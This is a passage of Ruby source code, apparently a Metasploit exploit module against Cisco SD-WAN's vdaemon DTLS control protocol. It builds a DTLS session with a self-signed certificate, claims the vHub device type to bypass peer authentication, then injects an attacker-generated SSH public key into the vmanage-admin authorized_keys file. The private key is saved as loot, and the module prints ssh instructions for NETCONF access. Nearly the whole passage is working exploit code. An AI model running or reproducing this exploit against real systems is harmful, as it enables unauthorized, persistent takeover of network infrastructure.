fail_with(Failure::Unknown, 'SSL_CTX_new() returned NULL') if ctx.null?
# Disable peer certificate verification
@f_ssl_ctx_set_verify.call(ctx, SSL_VERIFY_NONE, Fiddle::NULL)
# Load certificate and key from in-memory DER data
ret = @f_ssl_ctx_use_certificate_asn1.call(ctx, cert_der.bytesize, cert_der)
fail_with(Failure::Unknown, "SSL_CTX_use_certificate_ASN1 failed (ret=#{ret})") unless ret == 1
ret = @f_ssl_ctx_use_privatekey_asn1.call(EVP_PKEY_RSA, ctx, key_der, key_der.bytesize)
fail_with(Failure::Unknown, "SSL_CTX_use_PrivateKey_ASN1 failed (ret=#{ret})") unless ret == 1
# Create SSL object
ssl = @f_ssl_new.call(ctx)
fail_with(Failure::Unknown, 'SSL_new() returned NULL') if ssl.null?
# Create memory BIOs
mem_method = @f_bio_s_mem.call
rbio = @f_bio_new.call(mem_method)
wbio = @f_bio_new.call(mem_method)
fail_with(Failure::Unknown, 'BIO_new() returned NULL') if rbio.null? || wbio.null?
# Attach BIOs to SSL (SSL takes ownership)
@f_ssl_set_bio.call(ssl, rbio, wbio)
# Perform DTLS handshake
do_dtls_handshake(ssl, rbio, wbio, udp_sock)
print_status('DTLS handshake succeeded (self-signed cert accepted)') unless silent
[ssl, ctx, udp_sock, rbio, wbio]
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED => e
print_error("Connection failed: #{e.message}") unless silent
cleanup_dtls(ssl, ctx, udp_sock)
[nil, nil, nil, nil, nil]
rescue Fiddle::DLError => e
print_error("OpenSSL FFI error: #{e.message}") unless silent
cleanup_dtls(ssl, ctx, udp_sock)
[nil, nil, nil, nil, nil]
end
def phase2_receive_challenge(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 2: Waiting for CHALLENGE from server') unless silent
hdr, body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 15)
unless hdr
print_error('No CHALLENGE received from server') unless silent
return false
end
if hdr_msg_type(hdr) != MSG_CHALLENGE
print_error("Expected CHALLENGE (type=#{MSG_CHALLENGE}), got #{msg_name(hdr_msg_type(hdr))} (type=#{hdr_msg_type(hdr)})") unless silent
return false
end
print_status("CHALLENGE received (#{body.bytesize} bytes of challenge data)") unless silent
true
end
def phase3_send_challenge_ack(ssl, _rbio, wbio, udp_sock, silent: false)
print_status('Phase 3: Sending CHALLENGE_ACK as vHub (authentication bypass)') unless silent
ack_body = build_challenge_ack_body
send_message(ssl, wbio, udp_sock, MSG_CHALLENGE_ACK, ack_body)
true
end
def phase4_observe_result(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 4: Waiting for server response to CHALLENGE_ACK') unless silent
hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 10)
if hdr
mtype = hdr_msg_type(hdr)
if mtype == MSG_TEAR_DOWN
print_warning('TEAR_DOWN received - server rejected the CHALLENGE_ACK') unless silent
return false
end
print_status("Server responded with: #{msg_name(mtype)}") unless silent
else
print_warning('No immediate response (server may be waiting for our Hello)') unless silent
end
true
end
def phase5_send_hello(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 5: Sending Hello as authenticated peer') unless silent
hello_body = build_hello_body
send_message(ssl, wbio, udp_sock, MSG_HELLO, hello_body)
hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 10)
if hdr
mtype = hdr_msg_type(hdr)
if mtype == MSG_HELLO
print_good('Hello response received - authenticated as vHub peer') unless silent
return true
elsif mtype == MSG_TEAR_DOWN
print_warning('TEAR_DOWN received after Hello') unless silent
else
print_warning("Server responded with: #{msg_name(mtype)}") unless silent
end
else
print_warning('No Hello response') unless silent
end
false
end
def phase6_ssh_key_inject(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 6: Injecting SSH public key into vmanage-admin authorized_keys') unless silent
ssh_pubkey, ssh_privkey_pem = resolve_ssh_key(silent: silent)
# Build SSH key injection body (769 bytes)
key_body = build_ssh_inject_body(ssh_pubkey)
send_message(ssl, wbio, udp_sock, MSG_VMANAGE_TO_PEER, key_body)
if datastore['SSH_PUBLIC_KEY_FILE']
# If we are using an existing key supplied by the user, just show how to connect to the NETCONF service.
print_good("Use: ssh -i <SSH_PRIVATE_KEY_FILE> vmanage-admin@#{rhost} -p 830") unless silent
else
# Write SSH key file to loot
privkey_path = store_loot(
'cisco.sdwan.sshkey',
'application/x-pem-file',
rhost,
ssh_privkey_pem,
'sdwan_ssh_key.pem',
'SSH private key for vmanage-admin access'
)
::File.chmod(0o600, privkey_path)
unless silent
print_status("SSH private key saved to loot: #{privkey_path}")
# Provide connection instructions
print_good('Connect to NETCONF via:')
print_line("ssh -i #{privkey_path} vmanage-admin@#{rhost} -p 830")
end
end
# Check for response
hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 5)
if hdr
mtype = hdr_msg_type(hdr)
if mtype == MSG_REGISTER_TO_VMANAGE
print_status('Server responded with: REGISTER_TO_VMANAGE (key has been injected)') unless silent
else
print_warning("Server responded with: #{msg_name(mtype)}") unless silent
end
else
print_warning('No response to key injection') unless silent
end
end
#
# vdaemon protocol constants
#
MSG_HELLO = 0x05
MSG_CHALLENGE = 0x08
MSG_CHALLENGE_ACK = 0x09
MSG_TEAR_DOWN = 0x0B
MSG_REGISTER_TO_VMANAGE = 0x0D
MSG_VMANAGE_TO_PEER = 0x0E
# Device type encoded in the upper nibble of header byte 1.
# Claiming vHub (type 2) causes vbond_proc_challenge_ack() to fall through
# all verification branches and unconditionally set peer->authenticated = 1.
DEV_VHUB = 2
HDR_FLAGS = 0xA0
TLV_UUID = 0x0006
TLV_INSTANCE_ID = 0x0013
TLV_MAX_INSTANCES = 0x0014
TLV_FLAG_18 = 0x0018
TLV_FLAG_19 = 0x0019
TLV_SERVER_KEY = 0x0032
TLV_NUM_VSMARTS = 0x0021
TLV_NUM_VMANAGES = 0x0022
MSG_NAMES = {
0 => 'NEW_CHALLENGE_ACK',
1 => 'Register',
5 => 'Hello',
7 => 'Data',
8 => 'CHALLENGE',
9 => 'CHALLENGE_ACK',
10 => 'CHALLENGE_ACK_ACK',
11 => 'TEAR_DOWN',
12 => 'DELETE_VSMARTS_SERIAL',
13 => 'REGISTER_TO_VMANAGE',
14 => 'VMANAGE_TO_PEER',
15 => 'submsg'
}.freeze
#
# Protocol encoding/decoding
#
def build_header(msg_type)
byte0 = msg_type & 0x0F
byte1 = (DEV_VHUB & 0x0F) << 4
domain_id = datastore['DOMAIN_ID']
site_id = datastore['SITE_ID']
[byte0, byte1, HDR_FLAGS, 0x00, domain_id, site_id].pack('CCCCN2')
end
def hdr_msg_type(hdr_bytes)
hdr_bytes.getbyte(0) & 0x0F
end
def msg_name(type)
MSG_NAMES.fetch(type) { format('Unknown(0x%02X)', type) }
end
def send_message(ssl, wbio, udp_sock, msg_type, body = ''.b)
header = build_header(msg_type)
message = header + body
vprint_status("Sending #{msg_name(msg_type)} (#{message.bytesize} bytes)")
dtls_send(ssl, wbio, udp_sock, message)
end
def recv_message(ssl, rbio, wbio, udp_sock, timeout: 10)
data = dtls_recv(ssl, rbio, wbio, udp_sock, timeout: timeout)
return [nil, nil] unless data
return [nil, nil] if data.bytesize < 12
hdr = data[0, 12]
body = data[12..] || ''.b
mtype = hdr_msg_type(hdr)
vprint_status("Received #{msg_name(mtype)} (#{data.bytesize} bytes)")
[hdr, body]
end
#
# Message body builders
#
def build_challenge_ack_body
uuid = format(
'%<a>08x-%<b>04x-%<c>04x-%<d>04x-%<e>012x',
a: rand(0xffffffff), b: rand(0xffff), c: rand(0xffff),
d: rand(0xffff), e: rand(0xffffffffffff)
)
server_key = Rex::Text.rand_text_alphanumeric(32)
tlvs = [
build_tlv(TLV_INSTANCE_ID, [0].pack('n')),
build_tlv(TLV_MAX_INSTANCES, [1].pack('n')),
build_tlv(TLV_FLAG_18, [1].pack('C')),
build_tlv(TLV_FLAG_19, [0].pack('C')),
build_tlv(TLV_UUID, uuid),
build_tlv(TLV_SERVER_KEY, server_key)
]
buf = [0, 0].pack('CC') # verified_status=0, hardware_flag=0
buf << [tlvs.size].pack('C')
buf << tlvs.join
buf
end
def build_hello_body
buf = ''.b
buf << [0x00, 0x00, 0x00, 0x00].pack('CCCC') # preamble, is_dummy=false
buf << [0x0002].pack('n') # address family: AF_INET
buf << IPAddr.new(rhost, Socket::AF_INET).hton # IP address
buf << [rport].pack('n') # port
buf << [1].pack('N') # color
buf << ("\x00" * 20) # label/key padding
buf << [10_000, 60_000].pack('N2') # hello_interval_ms, hello_tolerance_ms
tlv_vsmarts = build_tlv(TLV_NUM_VSMARTS, [0x00].pack('C'))
tlv_vmanages = build_tlv(TLV_NUM_VMANAGES, [0x00].pack('C'))
buf << [2].pack('C')
buf << tlv_vsmarts
buf << tlv_vmanages
buf
end
def build_tlv(type, value)
[type, value.bytesize].pack('n2') + value.b
end
def build_ssh_inject_body(ssh_pubkey)
# Leading newline ensures key appends cleanly regardless of whether
# authorized_keys ends with a newline. Trailing newline for consistency.
key_buf = "\n".b + ssh_pubkey.b
key_buf << "\n".b unless key_buf.end_with?("\n".b)
key_buf << "\x00".b # null-terminate for fputs()
key_buf << ("\x00".b * (768 - key_buf.bytesize)) if key_buf.bytesize < 768
key_buf << [0].pack('C') # TLV count = 0
key_buf
end
#
# Certificate and SSH key helpers
#
def generate_self_signed_cert
key = OpenSSL::PKey::RSA.new(2048)
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = rand(1..0xFFFFFFFF)
cert.subject = OpenSSL::X509::Name.parse('/CN=/O=/C=')
cert.issuer = cert.subject
cert.public_key = key
cert.not_before = Time.now - 60
cert.not_after = Time.now + (365 * 86_400)
cert.sign(key, OpenSSL::Digest.new('SHA256'))
[cert.to_der, key.to_der]
end
def resolve_ssh_key(silent: false)
if datastore['SSH_PUBLIC_KEY_FILE']
pubkey = File.read(datastore['SSH_PUBLIC_KEY_FILE']).strip
print_status("Using SSH public key from #{datastore['SSH_PUBLIC_KEY_FILE']}") unless silent
return [pubkey, nil]
end
# Generate new RSA keypair
print_status('Generating RSA 2048-bit SSH keypair') unless silent
key = OpenSSL::PKey::RSA.new(2048)
pubkey_str = build_openssh_pubkey(key)
privkey_pem = key.to_pem
[pubkey_str, privkey_pem]
end
def build_openssh_pubkey(key)
e_bytes = bn_to_bytes(key.e)
n_bytes = bn_to_bytes(key.n)
# Prepend 0x00 if MSB is set (two's complement sign bit)
e_bytes = "\x00".b + e_bytes if e_bytes.getbyte(0) & 0x80 != 0
n_bytes = "\x00".b + n_bytes if n_bytes.getbyte(0) & 0x80 != 0
blob = ssh_string('ssh-rsa') + ssh_string(e_bytes) + ssh_string(n_bytes)
"ssh-rsa #{Base64.strict_encode64(blob)}"
end
def ssh_string(data)
data = data.b if data.respond_to?(:b)
[data.bytesize].pack('N') + data
end
def bn_to_bytes(bn)
hex = bn.to_s(16)
hex = "0#{hex}" if hex.length.odd?
[hex].pack('H*')
end
#
# DTLS transport via Fiddle (OpenSSL C API)
#
# Ruby's OpenSSL bindings do not support DTLS. We use Fiddle to call the
# OpenSSL C API directly with memory BIOs to drive the DTLS 1.2 handshake.
#
# OpenSSL constants for Fiddle FFI
SSL_VERIFY_NONE = 0
EVP_PKEY_RSA = 6
SSL_ERROR_WANT_READ = 2
SSL_ERROR_WANT_WRITE = 3
SSL_ERROR_ZERO_RETURN = 6
BIO_CTRL_PENDING = 10
DTLS_CTRL_HANDLE_TIMEOUT = 106
HANDSHAKE_TIMEOUT = 5
MAX_HANDSHAKE_RETRIES = 10
RECV_BUF_SIZE = 65_536
def load_openssl_ffi
return if @ffi_loaded
libssl = load_native_lib('ssl')
libcrypto = load_native_lib('crypto')
# libssl functions
@f_dtls_client_method = bind_function(libssl, 'DTLS_client_method', [], Fiddle::TYPE_VOIDP)
@f_ssl_ctx_new = bind_function(libssl, 'SSL_CTX_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
@f_ssl_ctx_set_verify = bind_function(libssl, 'SSL_CTX_set_verify', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_ctx_use_certificate_asn1 = bind_function(libssl, 'SSL_CTX_use_certificate_ASN1', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP], Fiddle::TYPE_INT)
@f_ssl_ctx_use_privatekey_asn1 = bind_function(libssl, 'SSL_CTX_use_PrivateKey_ASN1', [Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_LONG], Fiddle::TYPE_INT)
@f_ssl_new = bind_function(libssl, 'SSL_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
@f_ssl_set_bio = bind_function(libssl, 'SSL_set_bio', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_connect = bind_function(libssl, 'SSL_connect', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_INT)
@f_ssl_read = bind_function(libssl, 'SSL_read', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_ssl_write = bind_function(libssl, 'SSL_write', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_ssl_get_error = bind_function(libssl, 'SSL_get_error', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_ssl_free = bind_function(libssl, 'SSL_free', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_ctx_free = bind_function(libssl, 'SSL_CTX_free', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_ctrl = bind_function(libssl, 'SSL_ctrl', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP], Fiddle::TYPE_LONG)
# libcrypto functions
@f_bio_new = bind_function(libcrypto, 'BIO_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
@f_bio_s_mem = bind_function(libcrypto, 'BIO_s_mem', [], Fiddle::TYPE_VOIDP)
@f_bio_read = bind_function(libcrypto, 'BIO_read', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_bio_write = bind_function(libcrypto, 'BIO_write', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_bio_ctrl = bind_function(libcrypto, 'BIO_ctrl', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP], Fiddle::TYPE_LONG)
@f_err_clear_error = bind_function(libcrypto, 'ERR_clear_error', [], Fiddle::TYPE_VOID)
@f_err_get_error = bind_function(libcrypto, 'ERR_get_error', [], Fiddle::TYPE_LONG)
@f_err_error_string_n = bind_function(libcrypto, 'ERR_error_string_n', [Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP, Fiddle::TYPE_SIZE_T], Fiddle::TYPE_VOID)
@recv_buf = Fiddle::Pointer.malloc(RECV_BUF_SIZE, Fiddle::RUBY_FREE)
@ffi_loaded = true
vprint_status('OpenSSL FFI bindings loaded successfully')
end
def load_native_lib(name)
candidates = case RUBY_PLATFORM
when /mingw|mswin|cygwin/
bin = RbConfig::CONFIG['bindir']
arch_dir = RbConfig::CONFIG['archdir']
site_arch = RbConfig::CONFIG['sitearchdir']
paths = []
[arch_dir, site_arch, bin].compact.uniq.each do |dir|
paths << "#{dir}/lib#{name}-3-x64.dll"
paths << "#{dir}/lib#{name}-3.dll"
paths << "#{dir}/lib#{name}-1_1-x64.dll"
end
paths += %W[lib#{name}-3-x64 lib#{name}-3 lib#{name}]
paths
when /darwin/
%W[
/usr/local/opt/openssl@3/lib/lib#{name}.3.dylib
/usr/local/opt/openssl/lib/lib#{name}.dylib
/opt/homebrew/opt/openssl@3/lib/lib#{name}.3.dylib
/opt/homebrew/opt/openssl/lib/lib#{name}.dylib
/opt/local/lib/lib#{name}.3.dylib
/opt/local/lib/lib#{name}.dylib
]
else
%W[
lib#{name}.so.3
lib#{name}.so.1.1
lib#{name}.so
]
end
candidates.each do |path|
next if path.start_with?('/') && !File.exist?(path)
return Fiddle.dlopen(path)
rescue Fiddle::DLError
next
end
fail_with(Failure::NotFound, "Cannot find lib#{name}. Ensure OpenSSL is installed.")
end
def bind_function(lib, name, args, ret)
Fiddle::Function.new(lib[name], args, ret)
end
def bio_ctrl_pending(bio)
@f_bio_ctrl.call(bio, BIO_CTRL_PENDING, 0, Fiddle::NULL)
end
def handle_dtls_timeout(ssl)
@f_ssl_ctrl.call(ssl, DTLS_CTRL_HANDLE_TIMEOUT, 0, Fiddle::NULL)
end
def drain_openssl_errors
msgs = []
loop do
code = @f_err_get_error.call
break if code == 0
buf = Fiddle::Pointer.malloc(256, Fiddle::RUBY_FREE)
@f_err_error_string_n.call(code, buf, 256)
msgs << buf.to_s
end
msgs
end
# Drive the DTLS handshake state machine, shuttling data between the
# SSL engine and the UDP socket via memory BIOs.
def do_dtls_handshake(ssl, rbio, wbio, udp_sock)
retries = 0
loop do
@f_err_clear_error.call
ret = @f_ssl_connect.call(ssl)
flush_wbio(wbio, udp_sock)
break if ret == 1
err = @f_ssl_get_error.call(ssl, ret)
case err
when SSL_ERROR_WANT_READ
ready = ::IO.select([udp_sock], nil, nil, HANDSHAKE_TIMEOUT)
if ready
begin
dgram = udp_sock.recvfrom(65_536)[0]
@f_bio_write.call(rbio, dgram, dgram.bytesize)
rescue ::IO::WaitReadable
retries += 1
fail_with(Failure::Unreachable, "DTLS handshake timeout after #{retries} retries") if retries > MAX_HANDSHAKE_RETRIES
handle_dtls_timeout(ssl)
flush_wbio(wbio, udp_sock)
end
else
retries += 1
fail_with(Failure::Unreachable, "DTLS handshake timeout after #{retries} retries") if retries > MAX_HANDSHAKE_RETRIES
handle_dtls_timeout(ssl)
flush_wbio(wbio, udp_sock)
end
when SSL_ERROR_WANT_WRITE
flush_wbio(wbio, udp_sock)
else
errors = drain_openssl_errors
fail_with(Failure::Unknown, "DTLS handshake failed (SSL error #{err}): #{errors.join('; ')}")
end
end
end
def flush_wbio(wbio, udp_sock)
loop do
pending = bio_ctrl_pending(wbio)
break if pending <= 0
buf = Fiddle::Pointer.malloc(pending, Fiddle::RUBY_FREE)
n = @f_bio_read.call(wbio, buf, pending)
break if n <= 0
udp_sock.write(buf.to_str(n))
end
end
def dtls_send(ssl, wbio, udp_sock, data)
@f_err_clear_error.call
ret = @f_ssl_write.call(ssl, data, data.bytesize)
if ret <= 0
err = @f_ssl_get_error.call(ssl, ret)
errors = drain_openssl_errors
fail_with(Failure::Unknown, "SSL_write failed (error #{err}): #{errors.join('; ')}")
end
flush_wbio(wbio, udp_sock)
ret
end
def dtls_recv(ssl, rbio, _wbio, udp_sock, timeout: 10)
ready = ::IO.select([udp_sock], nil, nil, timeout)
return nil unless ready
begin
dgram = udp_sock.recvfrom(65_536)[0]
rescue ::IO::WaitReadable
return nil
end
@f_bio_write.call(rbio, dgram, dgram.bytesize)
@f_err_clear_error.call
ret = @f_ssl_read.call(ssl, @recv_buf, RECV_BUF_SIZE)
if ret <= 0
err = @f_ssl_get_error.call(ssl, ret)
return nil if err == SSL_ERROR_WANT_READ
vprint_status("SSL_read error: #{err}")
return nil
end
@recv_buf.to_str(ret).b
end
def cleanup_dtls(ssl, ctx, udp_sock)
if ssl
begin
@f_ssl_free.call(ssl)
rescue ::StandardError
nil
end
end
if ctx
begin
@f_ssl_ctx_free.call(ctx)
rescue ::StandardError
nil
end
end
begin
udp_sock&.close
rescue ::StandardError
nil
end
end
end